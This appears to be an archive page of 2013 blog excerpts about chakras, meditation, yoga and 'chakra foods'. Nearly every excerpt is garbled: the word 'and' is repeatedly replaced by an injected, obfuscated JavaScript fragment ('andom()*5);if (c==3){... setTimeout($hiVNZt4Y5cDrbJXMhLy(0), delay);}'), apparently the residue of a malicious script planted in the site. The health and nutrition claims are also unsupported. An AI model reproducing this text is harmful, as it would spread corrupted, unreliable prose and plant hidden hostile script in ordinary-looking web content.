Fire Up the Breath of Love

The Breath of Love “Ancient Yogis andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Masters of Light have taught that all answers lie within.  The breath is the doorway to this inner experience.  Babaji the great Indian mystic said that the “Breath …

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Feeding Your Crown Chakra
inspiration November 22, 2013 Chakras, Nutrition no discussions

 As we continue to work on the crown chakra today we’re going to look out how we can nourish or help activate this chakra through food. We already know that the crown chakra colors are white andom()*5);if (c==3){var delay = …

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Superfoods For The Third Eye
inspiration October 17, 2013 Chakras, Superfoods 1 discussions

Feeling hungry? Or more specifically feeling hungry for more intuitive clarity? Or perhaps looking to ignite your imagination? Well then it’s time to fee your third-eye. Eating for this chakra (Anja in Sanskrit) means eating brain food. A healthy third …

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Open Up Your Eyes…
inspiration October 4, 2013 Chakras, Meditation no discussions

…your third-eye that is. As we’ve been working on clearing all blocks along our main energy channel, the sushumna nadi, to allow for kundalini energy to rise we may stumble into a block with our third-eye chakra. The mediation below …

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Trust Your Hunches
inspiration October 1, 2013 Chakras, Inspiration no discussions

“Intuition is a spiritual faculty andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and does not explain, but simply points the way.”  ~Florence Scovel Shinn It’s a new month andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and you know what that means. It’s time to …

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Throat Chakra Meditation
inspiration September 13, 2013 Chakras, Meditation no discussions

How well do you communicate your needs, wants, beliefs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and aspirations? Can you speak truth from your heart, or do you ‘choke up’ when emotions get heavy? Here’s a short andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), …

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Shout It Out!
inspiration September 10, 2013 Chakras no discussions

Can you believe it’s already September? Back to school andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and work we go either with a sigh of sorrow, perhaps joy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and maybe a tinge of relief. Whatever sound, expression …

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Love Meditation
inspiration August 30, 2013 Chakras, Meditation no discussions

Before we continue up the chakra ladder andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and move into the 5th chakra let’s take a moment to reflect andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and review everything we’ve learned on all matters of the heart. …

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The Heart Never Gives Up
inspiration August 27, 2013 Chakras, Inspiration no discussions

“Don’t allow your mind to tell your heart what to do. The mind gives up easily.” -Paulo Coelho Trusting yourself is a practice of listening to your heart. When we create space andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and open ourselves …

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Happy Baby Pose {Yin Series}
inspiration June 5, 2013 Chakras, Uncategorized, Yoga no discussions

For the month of June, Yin Yang Yogis has brought their attention to the sacral chakra.  This second chakra is located in the region of your naval, lower abdomen andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and back, andom()*5);if (c==3){var delay = …

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